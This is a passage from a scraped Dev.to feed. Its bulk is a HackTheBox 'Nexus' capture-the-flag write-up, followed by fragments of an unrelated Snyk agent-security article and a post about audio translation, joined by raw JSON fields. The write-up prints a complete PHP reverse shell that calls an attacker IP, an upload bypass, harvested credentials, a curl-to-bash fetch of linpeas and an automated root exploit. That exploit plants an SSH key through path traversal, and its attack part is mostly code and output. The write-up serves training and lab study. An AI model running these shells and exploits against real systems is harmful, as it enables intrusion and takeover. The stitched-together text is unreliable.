N27xh!!2ucY04 (from Git history)\nLogin: http://billing.nexus.htb/admin/login\nEmail: j.matthew@nexus.htb\n\nPassword: N27xh!!2ucY04\n\n\nResult: ✓ Successfully authenticated\nCRM Version Confirmed: 2.2.0 (visible in dashboard)\nVulnerability: TinyMCE media upload endpoint lacks file validation\nExploitation Steps:\nNavigate to Mail section:\nMail → Inbox → Compose Email\nIntercept file upload in Burp Suite:\nProxy → Intercept → ON\nClick image insertion icon in composer\nSelect any image to upload\nModify the request:\nFilename: Change from image.png → shell.php\n\nContent: Replace image data with PHP reverse shell\nMaintain multipart form structure\nPHP Reverse Shell Payload (using Pentest Monkey): ( Grab it in from revshells.com)\n\n\n\nFile: shell.php - Replace image data with this exact code:\n   <?php\n   // php-reverse-shell - A Reverse Shell implementation in PHP\n   // https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php\n   // Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n   set_time_limit (0);\n   $VERSION = \"1.0\";\n   $ip = '10.10.15.223';        // CHANGE: Your attacker IP\n   $port = 4444;                 // CHANGE: Your listener port\n   $chunk_size = 1400;\n   $write_a = null;\n   $error_a = null;\n   $shell = 'uname -a; w; id; sh -i';\n   $daemon = 0;\n   $debug = 0;\n\n   if (function_exists('pcntl_fork')) {\n       $pid = pcntl_fork();\n       if ($pid == -1) {\n           printit(\"ERROR: Can't fork\");\n           exit(1);\n       }\n       if ($pid) {\n           exit(0);\n       }\n       if (posix_setsid() == -1) {\n           printit(\"Error: Can't setsid()\");\n           exit(1);\n       }\n       $daemon = 1;\n   } else {\n       printit(\"WARNING: Failed to daemonise.\");\n   }\n\n   chdir(\"/\");\n   umask(0);\n\n   $sock = fsockopen($ip, $port, $errno, $errstr, 30);\n   if (!$sock) {\n       printit(\"$errstr ($errno)\");\n       exit(1);\n   }\n\n   $descriptorspec = array(\n      0 => array(\"pipe\", \"r\"),\n      1 => array(\"pipe\", \"w\"),\n      2 => array(\"pipe\", \"w\")\n   );\n\n   $process = proc_open($shell, $descriptorspec, $pipes);\n   if (!is_resource($process)) {\n       printit(\"ERROR: Can't spawn shell\");\n       exit(1);\n   }\n\n   stream_set_blocking($pipes[0], 0);\n   stream_set_blocking($pipes[1], 0);\n   stream_set_blocking($pipes[2], 0);\n   stream_set_blocking($sock, 0);\n\n   printit(\"Successfully opened reverse shell to $ip:$port\");\n\n   while (1) {\n       if (feof($sock)) {\n           printit(\"ERROR: Shell connection terminated\");\n           break;\n       }\n       if (feof($pipes[1])) {\n           printit(\"ERROR: Shell process terminated\");\n           break;\n       }\n\n       $read_a = array($sock, $pipes[1], $pipes[2]);\n       $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n       if (in_array($sock, $read_a)) {\n           if ($debug) printit(\"SOCK READ\");\n           $input = fread($sock, $chunk_size);\n           if ($debug) printit(\"SOCK: $input\");\n           fwrite($pipes[0], $input);\n       }\n       if (in_array($pipes[1], $read_a)) {\n           if ($debug) printit(\"STDOUT READ\");\n           $input = fread($pipes[1], $chunk_size);\n           if ($debug) printit(\"STDOUT: $input\");\n           fwrite($sock, $input);\n       }\n       if (in_array($pipes[2], $read_a)) {\n           if ($debug) printit(\"STDERR READ\");\n           $input = fread($pipes[2], $chunk_size);\n           if ($debug) printit(\"STDERR: $input\");\n           fwrite($sock, $input);\n       }\n   }\n\n   fclose($sock);\n   fclose($pipes[0]);\n   fclose($pipes[1]);\n   fclose($pipes[2]);\n   proc_close($process);\n\n   function printit ($string) {\n       if (!$daemon) {\n           print \"$string\\n\";\n       }\n   }\n   ?>\n\nForward the modified request in Burp → Click \"Forward\"\n\n\nResponse reveals file location:\n\n\n\n\n   Location: /storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php\n\nAttacker: Set up listener:\nnc -lvnp 4444\n\nTarget: Access the PHP shell\ncurl http://billing.nexus.htb/storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php\n\nResult: Reverse shell received as www-data\nThe initial reverse shell is unstable. Use one of these tools to upgrade:\nOption A: Using pwncat-cs:\npwncat-cs -lp 4444\n\nOption B: Using penelope:\npenelope listen -p 4444\n\nBoth tools automatically handle shell stabilization and provide better stability/features than raw netcat.\nFrom www-data shell:\nwww-data@nexus:/$ whoami\nwww-data\n\nwww-data@nexus:/$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\nwww-data@nexus:/$ pwd\n/var/www/html/krayin\n\nFrom Krayin CRM .env file:\nwww-data@nexus:/var/www/html/krayin$ cat .env\n\nAPP_NAME=\"Krayin CRM\"\nAPP_ENV=local\nAPP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=\nAPP_DEBUG=true\nAPP_URL=http://billing.nexus.htb\nAPP_TIMEZONE=Asia/Kolkata\nAPP_LOCALE=en\nAPP_CURRENCY=USD\n\nVITE_HOST=\nVITE_PORT=\n\nLOG_CHANNEL=stack\nLOG_LEVEL=debug\n\nDB_CONNECTION=mysql\nDB_HOST=127.0.0.1\nDB_PORT=3306\nDB_DATABASE=krayin\nDB_USERNAME=krayin\nDB_PASSWORD=y27xb3ha!!74GbR          ← CRITICAL FINDING!\nDB_PREFIX=\n\nBROADCAST_DRIVER=log\nCACHE_DRIVER=file\nQUEUE_CONNECTION=sync\nSESSION_DRIVER=file\nSESSION_LIFETIME=120\n\nMEMCACHED_HOST=127.0.0.1\nREDIS_HOST=127.0.0.1\nREDIS_PASSWORD=null\nREDIS_PORT=6379\n\nMAIL_MAILER=smtp\nMAIL_HOST=mailhog\nMAIL_PORT=1025\nMAIL_USERNAME=null\nMAIL_PASSWORD=null\nMAIL_ENCRYPTION=null\nMAIL_FROM_ADDRESS=laravel@krayincrm.com\nMAIL_FROM_NAME=\"${APP_NAME}\"\nMAIL_DOMAIN=webkul.com\n\nMAIL_RECEIVER_DRIVER=sendgrid\n\nIMAP_HOST=imap.example.com\nIMAP_PORT=993\nIMAP_ENCRYPTION=ssl\nIMAP_VALIDATE_CERT=true\nIMAP_USERNAME=your_username\nIMAP_PASSWORD=your_password\n\nAWS_ACCESS_KEY_ID=\nAWS_SECRET_ACCESS_KEY=\nAWS_DEFAULT_REGION=us-east-1\nAWS_BUCKET=\n\nPUSHER_APP_ID=\nPUSHER_APP_KEY=\nPUSHER_APP_SECRET=\nPUSHER_APP_CLUSTER=mt1\n\nMIX_PUSHER_APP_KEY=\"${PUSHER_APP_KEY}\"\nMIX_PUSHER_APP_CLUSTER=\"${PUSHER_APP_CLUSTER}\"\n\nCritical Finding: Database password = y27xb3ha!!74GbR\nwww-data@nexus:/$ cat /etc/passwd | grep bash\nroot:x:0:0:root:/root:/bin/bash\njones:x:1000:1000:,,,:/home/jones:/bin/bash\ngit:x:111:112:Git Version Control,,,:/home/git:/bin/bash\n\nKey Finding: User jones has shell access\nAttempt: Use database password for SSH login to jones:\nssh jones@nexus.htb\n# Password: y27xb3ha!!74GbR\n\nResult: Successfully logged in as jones\njones@nexus:~$ id\nuid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)\n\njones@nexus:~$ cat user.txt\n[REDACTED_USER_FLAG]\n\nAutomated: Bash script (faster, single command)\nManual: Step-by-step exploitation (educational)\nThe automated script handles all steps of the exploit chain:\n#!/bin/bash\n# Nexus Privilege Escalation - Automated Exploit\n# Exploits: Gitea template sync path traversal (runs as root)\n\nGITEA=\"http://localhost:3000\"\nUSER=\"jones\"\nPASS='y27xb3ha!!74GbR'\nTARGET=\"10.129.21.192\"\n\necho \"[*] ==========================================\"\necho \"[*] Nexus PrivEsc Exploit (Automated)\"\necho \"[*] Target: Root via Template Sync Vuln\"\necho \"[*] ==========================================\"\n\n# Step 1: Generate SSH key for root access\necho \"\"\necho \"[*] STEP 1: Generating SSH key pair...\"\nssh-keygen -t ed25519 -f /tmp/.exploit_key -N '' -q 2>/dev/null || true\nPUBKEY=$(cat /tmp/.exploit_key.pub)\necho \"[+] SSH key generated at /tmp/.exploit_key\"\n\n# Step 2: Get Gitea API token\necho \"\"\necho \"[*] STEP 2: Obtaining Gitea API token...\"\nTOKEN=$(curl -s -X POST $GITEA/api/v1/users/$USER/tokens \\\n  -H \"Content-Type: application/json\" \\\n  -u \"$USER:$PASS\" \\\n  -d '{\"name\":\"auto_token\",\"scopes\":[\"write:repository\"]}' \\\n  | grep -o '\"sha1\":\"[^\"]*\"' | cut -d'\"' -f4)\n\nif [ -z \"$TOKEN\" ]; then\n  echo \"[-] Failed to get token\"\n  exit 1\nfi\necho \"[+] Token acquired: $TOKEN\"\n\n# Step 3: Create template repository\necho \"\"\necho \"[*] STEP 3: Creating template repository...\"\ncurl -s -X POST $GITEA/api/v1/user/repos \\\n  -H \"Authorization: token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"rce\",\"private\":false}' > /dev/null\n\ncurl -s -X PATCH $GITEA/api/v1/repos/$USER/rce \\\n  -H \"Authorization: token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":true}' > /dev/null\n\necho \"[+] Repository created and marked as template\"\n\n# Step 4: Build malicious git repository with path traversal\necho \"\"\necho \"[*] STEP 4: Building malicious git objects...\"\nmkdir -p /tmp/rce_exploit && cd /tmp/rce_exploit\ngit init > /dev/null 2>&1\n\n# Create directory structure for path traversal\n# Uses relative paths to escape sandbox and reach /root\nfor i in {1..5}; do mkdir -p \"../\"; done\nmkdir -p \"../../../../../root/.ssh\"\n\n# Plant public key for SSH access\necho \"$PUBKEY\" > \"../../../../../root/.ssh/authorized_keys\"\n\n# Commit malicious objects\ngit add . > /dev/null 2>&1\ngit commit -m \"Template injection\" > /dev/null 2>&1\n\necho \"[+] Malicious git objects ready\"\n\n# Step 5: Push to Gitea (triggers sync)\necho \"\"\necho \"[*] STEP 5: Pushing to Gitea repository...\"\ngit remote add origin http://localhost:3000/$USER/rce.git\ngit push -u origin main 2>/dev/null | grep -q \"master\\|main\"\n\necho \"[+] Pushed to repository\"\n\n# Step 6: Wait for template sync service\necho \"\"\necho \"[*] STEP 6: Waiting for template sync (runs every 60 seconds)...\"\necho \"[*] Monitor with: tail -f /var/log/template-sync.log\"\nsleep 65\n\necho \"[+] Sync period should have completed\"\n\n# Step 7: Verify SSH key was planted\necho \"\"\necho \"[*] STEP 7: Verifying SSH key installation...\"\nssh -i /tmp/.exploit_key -o StrictHostKeyChecking=no \\\n    -o ConnectTimeout=5 root@$TARGET \"whoami\" 2>/dev/null\n\nif [ $? -eq 0 ]; then\n  echo \"[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys\"\n  echo \"\"\n  echo \"[*] STEP 8: Spawning root shell...\"\n  ssh -i /tmp/.exploit_key -o StrictHostKeyChecking=no root@$TARGET\nelse\n  echo \"[-] SSH connection failed\"\n  echo \"[*] Debugging info:\"\n  echo \"    - Check /var/log/template-sync.log for sync logs\"\n  echo \"    - Verify jones has write access to Gitea\"\n  exit 1\nfi\n\nchmod +x exploit.sh\n./exploit.sh\n\nExpected Output:\n[*] ==========================================\n[*] Nexus PrivEsc Exploit (Automated)\n[*] Target: Root via Template Sync Vuln\n[*] ==========================================\n\n[*] STEP 1: Generating SSH key pair...\n[+] SSH key generated at /tmp/.exploit_key\n\n[*] STEP 2: Obtaining Gitea API token...\n[+] Token acquired: 35f78ffe03719548d26616b0a0bd2b30b5175f45\n\n[*] STEP 3: Creating template repository...\n[+] Repository created and marked as template\n\n[*] STEP 4: Building malicious git objects...\n[+] Malicious git objects ready\n\n[*] STEP 5: Pushing to Gitea repository...\n[+] Pushed to repository\n\n[*] STEP 6: Waiting for template sync (runs every 60 seconds)...\n[+] Sync period should have completed\n\n[*] STEP 7: Verifying SSH key installation...\n[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys\n\n[*] STEP 8: Spawning root shell...\nWelcome to Ubuntu 24.04.4 LTS\nroot@nexus:~# whoami\nroot\n\nRoot flag obtained: [REDACTED]\nRun linpeas for enumeration:\n# On attacker machine\npython3 -m http.server 8888\n\n# On target\ncurl http://10.10.15.223:8888/linpeas.sh | bash | tee linpeas_output.txt\n\nCRITICAL FINDING from linpeas output:\n╔══════════╣ System timers\n══╣ Active timers:\n\nNEXT                      LEFT UNIT                         ACTIVATES\nWed 2026-06-24 16:15:30  28s  gitea-template-sync.timer    gitea-template-sync.service ← RUNS AS ROOT!\nWed 2026-06-24 16:20:00  4min sysstat-collect.timer\n...\n\njones@nexus:~$ systemctl cat gitea-template-sync.timer\n\n[Unit]\nDescription=Run Gitea template sync every minute\n\n[Timer]\nOnBootSec=1min\nOnUnitActiveSec=1min\nUnit=gitea-template-sync.service\n\n[Install]\nWantedBy=timers.target\n\njones@nexus:~$ systemctl cat gitea-template-sync.service\n\n[Unit]\nDescription=Sync Gitea templates\nAfter=network-online.target\n\n[Service]\nType=oneshot\nUser=root                                    ← RUNS AS ROOT!\nExecStart=/usr/bin/python3 /etc/gitea/template-sync.py\nTimeoutStartSec=50s\n\njones@nexus:~$ cat /etc/gitea/template-sync.py\n\nKey Code Sections (showing vulnerability):\nimport os\nimport json\nimport subprocess\n\nGITEA_URL = \"http://localhost:3000\"\nREPO_ROOT = \"/var/lib/gitea/data/gitea-repositories\"\nSTAGING_DIR = \"/home/git/template-staging\"\nLOG_FILE = \"/var/log/template-sync.log\"\n\ndef get_template_repos(token):\n    url = \"%s/api/v1/repos/search?limit=50\" % GITEA_URL\n    # ... fetch all template repos ...\n    return [r for r in repos if r.get('template', False)]\n\ndef sync_template(repo_info):\n    owner = repo_info['owner']['login']\n    name = repo_info['name'].lower()\n    bare_path = os.path.join(REPO_ROOT, owner, \"%s.git\" % name)\n    stage_path = os.path.join(STAGING_DIR, owner, name)\n\n    # VULNERABILITY: Git ls-tree reads all objects without validation\n    result = subprocess.run(\n        ['git', 'ls-tree', '-r', 'HEAD'],\n        cwd=bare_path,\n        capture_output=True, text=True\n    )\n\n    # VULNERABILITY: Iterates through ALL files, including paths with ..\n    for line in result.stdout.strip().split('\\n'):\n        parts = line.split('\\t', 1)\n        if len(parts) != 2:\n            continue\n        meta, filepath = parts\n\n        # CRITICAL: No path validation! Path traversal possible\n        target = os.path.join(stage_path, filepath)\n\n        # Extract file to target (can be outside repo!)\n        result = subprocess.run(\n            ['git', 'cat-file', 'blob', objhash],\n            cwd=bare_path,\n            capture_output=True\n        )\n\n        # Write anywhere, as root!\n        with open(target, 'wb') as f:\n            f.write(result.stdout)\n\n        log(\"  synced: %s\" % filepath)\n\nif __name__ == '__main__':\n    # Runs every 60 seconds as root\n    main()\n\nVulnerabilities Identified:\nPath Traversal: No validation of filepath\n\n\nNo Sanitization: Allows ../ sequences\nRuns as Root: Full system compromise possible\nNo Rate Limiting: Can be triggered frequently\njones@nexus:/tmp$ ssh-keygen -t ed25519 -f /tmp/malicious_key -N \"\"\n\nGenerating public/private ed25519 key pair.\nYour identification has been saved in /tmp/malicious_key\nYour public key has been saved in /tmp/malicious_key.pub\n\njones@nexus:/tmp$ cat /tmp/malicious_key.pub\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC32yZXq3jqAq1H7OMDaZC6AybsfEjVWibtaB2/7OQ0R jones@nexus\n\njones@nexus:/tmp$ curl -X POST http://localhost:3000/api/v1/users/jones/tokens \\\n  -H \"Content-Type: application/json\" \\\n  -u 'jones:y27xb3ha!!74GbR' \\\n  -d '{\"name\":\"exploit_token\",\"scopes\":[\"write:repository\"]}'\n\n{\n  \"id\": 2,\n  \"name\": \"exploit_token\",\n  \"sha1\": \"35f78ffe03719548d26616b0a0bd2b30b5175f45\",\n  ...\n}\n\nTOKEN=\"35f78ffe03719548d26616b0a0bd2b30b5175f45\"\n\njones@nexus:/tmp$ curl -X POST http://localhost:3000/api/v1/user/repos \\\n  -H \"Authorization: token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"rce\",\"private\":false}'\n\n{\"id\": 2, \"name\": \"rce\", \"full_name\": \"jones/rce\", ...}\n\n# Mark as template\ncurl -X PATCH http://localhost:3000/api/v1/repos/jones/rce \\\n  -H \"Authorization: token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":true}'\n\n{\"template\": true, ...}\n\njones@nexus:/tmp$ mkdir rce && cd rce\njones@nexus:/tmp/rce$ git init\n\nInitialized empty Git repository in /tmp/rce/.git/\n\n# Create directory structure using path traversal\njones@nexus:/tmp/rce$ mkdir -p \"$(printf '../%.0s' {1..5})root/.ssh\"\n\n# Plant public key\njones@nexus:/tmp/rce$ echo \"$(cat /tmp/malicious_key.pub)\" > \\\n  \"$(printf '../%.0s' {1..5})root/.ssh/authorized_keys\"\n\n# Verify file exists\njones@nexus:/tmp/rce$ ls -la ../../../../../root/.ssh/authorized_keys\nls: cannot access '../../../../../root/.ssh/authorized_keys': No such file or directory\n# (Expected - we're just staging in git, not actual filesystem)\n\n# Commit to git\njones@nexus:/tmp/rce$ git add .\njones@nexus:/tmp/rce$ git commit -m \"RCE via path traversal\"\n\n[main (root-commit) 523974c] RCE via path traversal\n\njones@nexus:/tmp/rce$ git remote add origin http://localhost:3000/jones/rce.git\njones@nexus:/tmp/rce$ git push -u origin main\n\nEnumerating objects: 11, done.\nCounting objects: 100% (11/11), done.\nDelta compression using up to 2 threads\nCompressing objects: 100% (3/3), done.\nWriting objects: 100% (11/11), 614 bytes\nTotal 11 (delta 0), reused 0 (delta 0), pack-reused 0\nremote: . Processing 1 references\nremote: Processed 1 references in total\nTo http://localhost:3000/jones/rce.git\n * [new branch]      main -> main\n\nService runs every 60 seconds. Monitor the log:\njones@nexus:/tmp$ tail -f /var/log/template-sync.log\n\n[2026-06-25 03:08:07] Template sync complete\n[2026-06-25 03:09:07] Template sync starting\n[2026-06-25 03:09:07] Found 3 template repo(s)\n[2026-06-25 03:09:07] Syncing template: jones/evil\n[2026-06-25 03:09:07]   ls-tree failed: fatal: Not a valid object name HEAD\n[2026-06-25 03:09:07] Syncing template: jones/pwn\n[2026-06-25 03:09:07]   synced: ../../.ssh/authorized_keys ← PATH TRAVERSAL!\n[2026-06-25 03:09:07] Syncing template: jones/rce\n[2026-06-25 03:09:07]   ls-tree failed: fatal: Not a valid object name HEAD\n[2026-06-25 03:09:07] Template sync complete\n[2026-06-25 03:10:07] Template sync starting\n[2026-06-25 03:10:07] Found 1 template repo(s)\n[2026-06-25 03:10:07] Syncing template: jones/rce\n[2026-06-25 03:10:07]   synced: README.md\n[2026-06-25 03:10:08]   synced: ../../../../../root/.ssh/authorized_keys ← KEY INSTALLED!\n[2026-06-25 03:10:08] Template sync complete\n\nSUCCESS: ../../../../../root/.ssh/authorized_keys was synced!\njones@nexus:/tmp$ ssh -i /tmp/malicious_key -o StrictHostKeyChecking=no root@10.129.21.192\n\nWelcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)\n...\nroot@nexus:~# whoami\nroot\n\nroot@nexus:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\nroot@nexus:~# cat root.txt\n[REDACTED_ROOT_FLAG]\n\n** PRIVILEGE ESCALATION SUCCESSFUL**\n┌─────────────────────────────────────────────────────────────┐\n│ 1. RECONNAISSANCE (5 min)                                   │\n│  ├─ Network scan: Find ports 22, 80                         │\n│  ├─ Subdomain enum: Discover git.nexus.htb, billing.nexus  │\n│  └─ Web recon: Identify Gitea + Krayin CRM                 │\n└────────────────────────────────┬────────────────────────────┘\n                                 │\n┌────────────────────────────────▼────────────────────────────┐\n│ 2. CREDENTIAL EXTRACTION (3 min)                            │\n│  ├─ Clone public Git repository                             │\n│  ├─ Review commit history                                   │\n│  └─ Extract: j.matthew@nexus.htb / password                │\n└────────────────────────────────┬────────────────────────────┘\n                                 │\n┌────────────────────────────────▼────────────────────────────┐\n│ 3. WEB RCE (10 min)                                         │\n│  ├─ Authenticate to Krayin CRM v2.2.0                       │\n│  ├─ Identify TinyMCE upload endpoint vulnerability          │\n│  ├─ Upload malicious PHP via Burp interception             │\n│  ├─ Trigger reverse shell callback                         │\n│  └─ Achieve: www-data shell                                │\n└────────────────────────────────┬────────────────────────────┘\n                                 │\n┌────────────────────────────────▼────────────────────────────┐\n│ 4. LATERAL MOVEMENT (2 min)                                │\n│  ├─ Extract DB credentials from .env                        │\n│  ├─ Identify jones user from /etc/passwd                    │\n│  ├─ Attempt password reuse on SSH                          │\n│  └─ Achieve: jones shell (UID 1000)                         │\n└────────────────────────────────┬────────────────────────────┘\n                                 │\n┌────────────────────────────────▼────────────────────────────┐\n│ 5. PRIVILEGE ESCALATION (2-3 min)                           │\n│  ├─ Run linpeas → Discover gitea-template-sync.timer       │\n│  ├─ Analyze service: Runs as root, syncs Gitea templates   │\n│  ├─ Identify: Path traversal in template file extraction   │\n│  ├─ Create malicious template repo with ../../root/.ssh    │\n│  ├─ Push to Gitea, wait 60 sec for sync                    │\n│  └─ Achieve: SSH key in /root/.ssh/authorized_keys         │\n└────────────────────────────────┬────────────────────────────┘\n                                 │\n                    ┌────────────▼────────────┐\n                    │ 6. ROOT SHELL (instant) │\n                    │  ssh -i key root@target │\n                    │  whoami: root ✓         │\n                    └─────────────────────────┘\n\n\n\n\n#\nVulnerability\nCVSS\nType\nImpact\n\n\n\n\n1\nExposed Git History\nHigh\nConfig\nCredential leakage\n\n\n2\nCVE-2026-38526 (CRM)\n9.9\nRCE\nAuthenticated RCE\n\n\n3\nPassword Reuse\nHigh\nAccess\nLateral movement\n\n\n4\nPath Traversal (Sync)\nCritical\nPrivEsc\nRoot compromise\n\n\n5\nNo Input Validation\nCritical\nDesign\nTemplate injection\n\n\n\n[ ] Rotate all exposed credentials\n[ ] Patch Krayin CRM to latest version\n[ ] Review Git history for other exposed secrets\n[ ] Restrict Gitea API token scopes\n[ ] Run privileged services with minimal permissions (not root)\n[ ] Implement path sanitization in template-sync.py\n[ ] Add file integrity monitoring (AIDE/Tripwire)\n[ ] Enable MFA for all accounts\n[ ] Enforce unique passwords per service\n[ ] Regular security audits of cron/systemd services\nnmap - Network enumeration\nffuf - Subdomain discovery\nBurp Suite - HTTP interception & modification\npwncat/penelope - Shell stabilization\nlinpeas - Privilege escalation enumeration\ngit - Repository cloning & manipulation\ncurl - API interaction\nThis writeup is for authorized security testing and educational purposes only.","content":"<h2>\n  \n  \n  Executive Summary\n</h2>\n\n<p>This writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged:</p>\n\n<ol>\n<li>\n<strong>Exposed credentials</strong> in Git commit history</li>\n<li>\n<strong>Authenticated RCE</strong> via CRM file upload vulnerability (CVE-2026-38526)</li>\n<li>\n<strong>Path traversal</strong> in privileged template synchronization service</li>\n</ol>\n\n\n\n\n<h2>\n  \n  \n  Phase 1: Reco","url":"https://dev.to/exploitnotes/hackthebox-nexus-writeup-17od","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:07:39 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Snyk launches Evo ADS to secure AI coding agents with real-time governance","description":"AI coding agents are no longer novelties—they now generate and ship production code, unsupervised, in enterprise environments. Security has not kept pace. Yesterday’s scanners watch code after it lands. AI agents, though, can call arbitrary tools, invoke “skills” from uncertain sources, and walk through internal APIs—all with no human watching. That’s the new perimeter—and Snyk Evo Agentic Development Security (Evo ADS) is the first tool designed to control it inside the agent’s workflow, live, before code or damage lands.\nThe headline: Evo ADS governs, not just after the fact, but as the agent runs. For the developer or security lead watching agents run inside the firewall, this is overdue and impressive.\nEvo ADS is a security governance layer for autonomous AI coding agents. Instead of passively scanning output, Evo ADS actively enforces rules around the tools, connections, and code actions that agents attempt during workflow execution. The focus isn’t just the code, but the entire perimeter: which MCP servers agents touch, the skills they install, and what outbound connections they make.\nWhat sets Evo ADS apart from legacy security tools: placement in the loop. It integrates directly with the agent runtime. Before an agent can invoke an external tool or connect to an MCP server, Evo ADS intercepts and applies policy, preventing execution if a check fails. For AI coding workflows that use plugins, integrations, or operate via Model Context Protocol (MCP) servers, Evo ADS is the bouncer at the door, not the janitor after the party.\nNo code scanning product before Evo ADS has governed agent-initiated external actions and dynamic toolchains—legacy tools wait until after the code is written, missing the real risk surface. Evo ADS secures the actual, running behavior.\nAutonomous agents don’t just write code. They operate—acting as developers or ops, calling shell tools, installing packages, and connecting via MCP servers to a web of skills and third-party APIs. A single agent may reach dozens of MCP-integrated tools in a shift. Security moves from static code analysis to active workflow governance.\nSnyk’s telemetry makes clear the scale and risk:\nIn a sample of 9,700 developer environments, 43% ran two or more AI coding platforms simultaneously.\nMore than half had at least one MCP server active; the most heavily instrumented cases ran over 80.\nOne in 12 environments with MCP saw high or critical security findings.\nThis isn’t a subtle finding. It’s structural. Legacy scanners have zero view into which tools the agent is connecting to, who supplied a given “skill,” or how data flows across MCP boundaries. Attackers have noticed.\nMCP servers, by design, turn code completion tools into fully programmable orchestration agents. But without governance, they are a shadow supply chain. Skills can reference arbitrary dependencies or fetch code from external instructions, often invisible to the primary dev team. Snyk’s enterprise design partner review surfaced an average of 18 agent skills per developer, with 1/10th referencing outside dependencies. For security, the attack surface is sprawling and dynamic.\nEvo ADS operates at three pivotal layers, each mapped tightly to AI agent pain points. This is not post-hoc scanning. Enforcement happens in the workflow.\nStage 1: Pre-execution vetting\n# Register allowed MCP servers and skills\nsnyk agent-inventory add --mcp myserver.local --skill fetch-customer-data\n# Validate external dependency provenance before allowing install\nsnyk skill-audit check fetch-customer-data\n\nAttempts to use unvetted components are blocked. You do not need to wait for the exploit to learn about it.\nStage 2: Real-time policy enforcement on agent actions\n# Example: runtime policy configuration\npolicies:\n  - action: block\n    when:\n      - from: ai_agent\n        tries: mcp_connect\n        to: unapproved_server\n      - from: ai_agent\n        tries: skill_install\n        package_source: unverified_registry\n\nThis is not best-effort auditing—it is hard-stop enforcement. Developers and operators get alerts in real time, not hours later.\nStage 3: Real-time scan and fix of AI-generated code\n# Scan new files as generated (live in agent workflow)\nsnyk code-scan --watch path/to/generated/\n# Optional: enable fix mode for auto-remediation\nsnyk code-fix --apply\n\nThe engine catches CVEs, risky patterns, and known vulnerable code before it ships. Not “after the merge”—literally as the code lands in the folder.\nKey advantage: putting controls in the loop, not after. Attack surface never widens past the agent boundary. Compliance, incident response, and real-time rollback become tractable.\n[[DIAGRAM: agent workflow with Evo ADS at entry (tool/skill vetting), runtime (action enforcement), and exit (code scan/fix) points]]\nGetting Evo ADS into your workflow is procedural and can be staged.\n1. Setup and integration\n# Install Evo ADS for agent governance\nnpm install -g snyk-evo-agent\n# Or as a CI/CD pipeline step\ndocker pull snyk/evo-agent:latest\n\nFor cloud agent platforms:\n# Example pipeline step in GitHub Actions\n- name: Evo ADS Preflight\n  run: snyk agent-inventory sync --output-report\n\n2. Registering and managing agent assets\n# Inventory collection and review\nsnyk agent-inventory list\n# Bulk import from fleet\nsnyk agent-inventory import path/to/agent-configs/\n\nSecurity teams can finally answer, “What’s running?” for the first time.\n3. Monitoring and incident response\n# Export telemetry to SIEM for detection/alerting\nsnyk agent-telemetry export --to splunk\n\nIf a policy violation or vulnerable code emission occurs, Evo ADS can trigger automated incident workflows—block, alert, roll back. Teams gain real-time visibility and fine-grained control.\nWith this model, adoption is not “rip and replace.” Evo ADS can wrap existing agent deployments or sit alongside legacy scanning, providing real-time coverage for areas older tools ignore.\nEvo ADS closes a foundational gap: live, inside-the-tailpipe enforcement for AI agent workflows. Enterprise numbers make the case:\nIn Snyk’s telemetry, one in 12 MCP environments had high or critical security findings. Those can now be blocked before code or data is ever touched.\nSkill sprawl: Organizations average 18 installed agent skills per developer. Evo ADS turns that inventory into a governable perimeter—third-party and shadow skills are no longer invisible risks.\nUnauthorized actions—calling outbound APIs, installing unauthorized tools, fetching external code—are now blockable in the loop, rather than detected hours or days later.\nEarly adopters and enterprise design partners now see agent, MCP, and skill inventories for the first time—an end to the shadow infra. Security teams gain a direct way to manage, sanction, or restrict AI agent behaviors with one policy engine. The result: measurable drops in agent-originated vulnerability surface, faster containment, and a meaningful shift from forensics to prevention.\nIf you deploy AI coding agents or run MCP servers, Evo ADS gives you a perimeter that moves with the agent—not waiting for a post-mortem, but blocking malicious calls at the edge of action. You inventory your agents, govern the skills and servers they touch, and catch vulnerabilities—before they trigger harm. Teams already running multiple AI systems simultaneously now have the real-time enforcement they need to stop incidents early instead of cleaning up after the fact.\nOTF’s layer makes policy and configuration portable as tools and AI agents churn; the security boundary holds, even as underlying models and agent platforms change.\nEvo Agentic Development Security isn’t just a new scanner. It’s the real-time firewall for AI-powered code. That’s overdue—and now possible.","content":"<p>AI coding agents are no longer novelties—they now generate and ship production code, unsupervised, in enterprise environments. Security has not kept pace. Yesterday’s scanners watch code after it lands. AI agents, though, can call arbitrary tools, invoke “skills” from uncertain sources, and walk through internal APIs—all with no human watching. That’s the new perimeter—and Snyk Evo Agentic Development Security (Evo ADS) is the first tool designed to control it inside the agent’s workflow, liv","url":"https://dev.to/davekurian/snyk-launches-evo-ads-to-secure-ai-coding-agents-with-real-time-governance-2i34","domain":"Dev.to","pubDate":"Thu, 25 Jun 2026 04:05:41 +0000","hasFullContent":true,"language":"en","region":"us"},{"title":"Translating Windows system audio in real time — driverless, with no virtual cable","description":"I build Voxis, an open-source Windows app that translates whatever your system is playing — a video, a game, the other side of a call — and plays the translation back as spoken voice, a few seconds behind the speaker. No subtitles, no virtual audio cable, no bot joining your meeting.\nThe \"no virtual cable\" part is the bit worth writing about. Almost every system-audio tool on Windows tells you to install VB-CABLE or VoiceMeeter, or to drop a bot into your call. Voxis doesn't, for incoming audio. This post is how that capture engine works, and the sharp edges I hit building it in Python.\nI'll be specific about what's hard and honest about what's not mine to fix.\nRead the exact audio the user is hearing — the post-mix system output — at 16 kHz 